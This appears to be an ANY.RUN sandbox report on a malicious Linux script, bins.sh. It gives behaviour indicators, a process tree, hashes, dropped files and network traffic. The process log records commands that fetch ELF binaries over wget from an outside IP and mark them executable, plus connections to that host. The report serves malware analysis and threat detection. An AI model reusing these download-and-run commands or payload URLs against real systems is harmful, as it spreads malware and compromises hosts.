File name:

bins.sh

Full analysis: https://app.any.run/tasks/40d4f297-77bd-49aa-99b4-0afc655d2f44
Verdict: Malicious activity
Analysis date: May 16, 2025, 07:58:00
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

58BDAECF0D385942274596126C33269E

SHA1:

A6EBDA4413A5A2300C4BFFD7ACB1F88DF0E43251

SHA256:

6317A7241AC4BF092366F1CF50C814A8ADF15B4C67493DAC44BFEF6A7947E50B

SSDEEP:

24:vCcUC/TcsCMGCL2cJCdaSCB3C2yCt/CYwCmfsC6OCg1QCGh:vEWTcsJGMJCaSAc0gYJOF1Qj

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Removes log files

      • qvmxvl (deleted) (PID: 41113)
      • vvglma (PID: 41049)
      • razdzn (deleted) (PID: 41117)
      • dash (PID: 41125)

    • Application was dropped or rewritten from another process

      • razdzn (deleted) (PID: 41117)
      • razdzn (PID: 41066)
      • razdzn (PID: 41067)
      • razdzn (deleted) (PID: 41152)
      • razdzn (deleted) (PID: 41137)
      • razdzn (deleted) (PID: 41205)
      • razdzn (deleted) (PID: 41154)
      • razdzn (deleted) (PID: 41072)
      • razdzn (deleted) (PID: 41161)
      • razdzn (PID: 41068)
      • razdzn (deleted) (PID: 41150)
      • razdzn (deleted) (PID: 41173)
      • razdzn (PID: 41069)
      • razdzn (deleted) (PID: 41145)
      • vvglma (PID: 41047)
      • vvglma (PID: 41046)
      • vvglma (PID: 41048)
      • qvmxvl (deleted) (PID: 41180)
      • qvmxvl (deleted) (PID: 41143)
      • qvmxvl (deleted) (PID: 41087)
      • razdzn (deleted) (PID: 41202)
      • razdzn (deleted) (PID: 41124)
      • razdzn (deleted) (PID: 41147)
      • vvglma (PID: 41049)
      • qvmxvl (deleted) (PID: 41113)
      • qvmxvl (deleted) (PID: 41185)
      • qvmxvl (PID: 41083)
      • qvmxvl (deleted) (PID: 41115)
      • qvmxvl (deleted) (PID: 41157)
      • qvmxvl (PID: 41081)
      • qvmxvl (PID: 41084)
      • qvmxvl (deleted) (PID: 41120)
      • qvmxvl (deleted) (PID: 41132)
      • qvmxvl (deleted) (PID: 41142)
      • qvmxvl (deleted) (PID: 41123)
      • qvmxvl (PID: 41082)
      • qvmxvl (deleted) (PID: 41121)
      • qvmxvl (deleted) (PID: 41153)

  • SUSPICIOUS

    • Starts itself from another location

      • razdzn (PID: 41069)
      • qvmxvl (PID: 41084)
      • vvglma (PID: 41049)

    • Modifies file or directory owner

      • sudo (PID: 41023)

    • Executes commands using command-line interpreter

      • sudo (PID: 41026)
      • bash (PID: 41027)

    • Uses wget to download content

      • bash (PID: 41027)

    • Gets active network interfaces

      • bash (PID: 41027)

    • Reads network configuration

      • bash (PID: 41027)

    • Executes the "rm" command to delete files or directories

      • dash (PID: 41052)
      • bash (PID: 41027)
      • razdzn (deleted) (PID: 41072)
      • qvmxvl (deleted) (PID: 41087)
      • qvmxvl (deleted) (PID: 41113)
      • dash (PID: 41130)
      • qvmxvl (deleted) (PID: 41115)
      • razdzn (deleted) (PID: 41117)
      • qvmxvl (deleted) (PID: 41121)
      • dash (PID: 41125)
      • dash (PID: 41136)
      • razdzn (deleted) (PID: 41150)
      • razdzn (deleted) (PID: 41124)
      • qvmxvl (deleted) (PID: 41132)
      • dash (PID: 41127)
      • razdzn (deleted) (PID: 41145)

    • Reads passwd file

      • whoopsie (PID: 41060)

    • Clears command history

      • qvmxvl (deleted) (PID: 41115)
      • vvglma (PID: 41049)
      • dash (PID: 41127)
      • razdzn (deleted) (PID: 41124)

    • Gets information about currently running processes

      • qvmxvl (deleted) (PID: 41143)
      • dash (PID: 41148)
      • razdzn (deleted) (PID: 41154)
      • qvmxvl (deleted) (PID: 41153)
      • razdzn (deleted) (PID: 41161)
      • dash (PID: 41140)

    • Potential Corporate Privacy Violation

      • wget (PID: 41029)
      • wget (PID: 41034)
      • wget (PID: 41044)
      • wget (PID: 41062)
      • wget (PID: 41071)
      • wget (PID: 41039)
      • wget (PID: 41051)
      • wget (PID: 41079)
      • wget (PID: 41086)
      • wget (PID: 41093)
      • wget (PID: 41098)
      • wget (PID: 41103)

    • Checks DMI information (probably VM detection)

      • udevadm (PID: 41183)

  • INFO

    • Creates file in the temporary folder

      • wget (PID: 41029)
      • wget (PID: 41034)
      • wget (PID: 41039)
      • wget (PID: 41044)
      • wget (PID: 41051)
      • wget (PID: 41062)
      • wget (PID: 41071)
      • wget (PID: 41086)
      • wget (PID: 41079)
      • wget (PID: 41093)
      • wget (PID: 41103)
      • wget (PID: 41098)

    • Checks timezone

      • wget (PID: 41029)
      • wget (PID: 41034)
      • wget (PID: 41039)
      • wget (PID: 41044)
      • wget (PID: 41051)
      • whoopsie (PID: 41060)
      • python3.10 (PID: 41074)
      • wget (PID: 41071)
      • wget (PID: 41079)
      • wget (PID: 41086)
      • wget (PID: 41093)
      • wget (PID: 41098)
      • wget (PID: 41062)
      • python3.10 (PID: 41063)
      • wget (PID: 41103)
      • wget (PID: 41108)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
308
Monitored processes
177
Malicious processes
14
Suspicious processes
6

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs vvglma no specs rm no specs vvglma no specs wget vvglma no specs vvglma dash no specs rm no specs dash no specs dash no specs systemctl no specs chmod no specs bash no specs whoopsie no specs rm no specs wget python3.10 no specs chmod no specs razdzn no specs razdzn no specs rm no specs wget razdzn no specs razdzn razdzn (deleted) no specs rm no specs python3.10 no specs chmod no specs bash no specs rm no specs wget chmod no specs qvmxvl no specs qvmxvl no specs rm no specs wget qvmxvl no specs qvmxvl qvmxvl (deleted) no specs rm no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs qvmxvl (deleted) no specs qvmxvl (deleted) no specs rm no specs razdzn (deleted) no specs rm no specs rm no specs qvmxvl (deleted) no specs qvmxvl (deleted) no specs rm no specs qvmxvl (deleted) no specs razdzn (deleted) no specs dash no specs dash no specs dash no specs dash no specs qvmxvl (deleted) no specs rm no specs rm no specs rm no specs rm no specs rm no specs dash no specs dash no specs razdzn (deleted) no specs dash no specs dash no specs qvmxvl (deleted) no specs qvmxvl (deleted) no specs razdzn (deleted) no specs rm no specs pgrep no specs pgrep no specs rm no specs razdzn (deleted) no specs dash no specs pgrep no specs razdzn (deleted) no specs razdzn (deleted) no specs qvmxvl (deleted) no specs razdzn (deleted) no specs rm no specs pgrep no specs pgrep no specs qvmxvl (deleted) no specs systemctl no specs basename no specs basename no specs razdzn (deleted) no specs dash no specs pgrep no specs systemctl no specs sed no specs dash no specs systemctl no specs basename no specs basename no specs dash no specs systemctl no specs sed no specs razdzn (deleted) no specs systemctl no specs basename no specs basename no specs dash no specs systemctl no specs sed no specs qvmxvl (deleted) no specs udevadm no specs qvmxvl (deleted) no specs xtables-nft-multi no specs xtables-nft-multi no specs systemctl no specs dash no specs basename no specs basename no specs dash no specs xtables-nft-multi no specs xtables-nft-multi no specs dash no specs systemctl no specs sed no specs systemctl no specs basename no specs basename no specs dash no specs systemctl no specs sed no specs razdzn (deleted) no specs xtables-nft-multi no specs xtables-nft-multi no specs razdzn (deleted) no specs systemctl no specs basename no specs basename no specs dash no specs systemctl no specs sed no specs

Process information

PID
CMD
Path
Indicators
Parent process
41022/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "/usr/bin/dash—IntiFjKCklFyPMJr
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41023sudo chown user /tmp/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41024chown user /tmp/bins.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41025chmod +x /tmp/bins.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41026sudo -iu user /tmp/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41027/bin/bash /tmp/bins.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41028/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41029wget http://92.112.125.62/earyzq/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
41030chmod +x earyzq/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41031/bin/bash /tmp/bins.sh/usr/bin/bash—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
32256
Executable files
0
Suspicious files
11
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
41029wget/tmp/earyzq (deleted)binary
MD5:—
SHA256:—
41034wget/tmp/cemtop (deleted)o
MD5:—
SHA256:—
41039wget/tmp/vtyhat (deleted)o
MD5:—
SHA256:—
41044wget/tmp/vvglma (deleted)binary
MD5:—
SHA256:—
41051wget/tmp/nvitpj (deleted)binary
MD5:—
SHA256:—
41060whoopsie/var/lib/whoopsie/whoopsie-idtext
MD5:—
SHA256:—
41062wget/tmp/razdzn (deleted)o
MD5:—
SHA256:—
41071wget/tmp/lnkfmx (deleted)binary
MD5:—
SHA256:—
41079wget/tmp/qvmxvl (deleted)o
MD5:—
SHA256:—
41086wget/tmp/ajoomk (deleted)o
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
26
DNS requests
12
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.17:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41029
wget
GET
200
92.112.125.62:80
http://92.112.125.62/earyzq
unknown
—
—
unknown
41039
wget
GET
200
92.112.125.62:80
http://92.112.125.62/vtyhat
unknown
—
—
unknown
41044
wget
GET
200
92.112.125.62:80
http://92.112.125.62/vvglma
unknown
—
—
unknown
41051
wget
GET
200
92.112.125.62:80
http://92.112.125.62/nvitpj
unknown
—
—
unknown
41034
wget
GET
200
92.112.125.62:80
http://92.112.125.62/cemtop
unknown
—
—
unknown
41062
wget
GET
200
92.112.125.62:80
http://92.112.125.62/razdzn
unknown
—
—
unknown
41079
wget
GET
200
92.112.125.62:80
http://92.112.125.62/qvmxvl
unknown
—
—
unknown
41071
wget
GET
200
92.112.125.62:80
http://92.112.125.62/lnkfmx
unknown
—
—
unknown
41086
wget
GET
200
92.112.125.62:80
http://92.112.125.62/ajoomk
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.17:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
212.102.56.178:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41029
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
41034
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
41039
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
41044
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
41049
vvglma
92.112.125.62:23
—
PJSC Ukrtelecom
UA
unknown
41051
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 185.125.190.17
  • 185.125.190.98
  • 185.125.190.97
  • 91.189.91.96
  • 91.189.91.98
  • 91.189.91.48
  • 185.125.190.96
  • 185.125.190.18
  • 91.189.91.49
  • 185.125.190.48
  • 185.125.190.49
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::98
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4000:1::22
whitelisted
google.com
  • 172.217.23.110
  • 2a00:1450:4001:82a::200e
whitelisted
odrs.gnome.org
  • 212.102.56.178
  • 195.181.170.19
  • 169.150.255.180
  • 195.181.175.41
  • 169.150.255.183
  • 37.19.194.81
  • 207.211.211.27
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::107
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.57
  • 185.125.188.58
  • 185.125.188.54
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::344
whitelisted
4.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
41029
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41034
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41039
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41044
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41062
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41051
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41071
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41079
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41086
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41093
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
bins.sh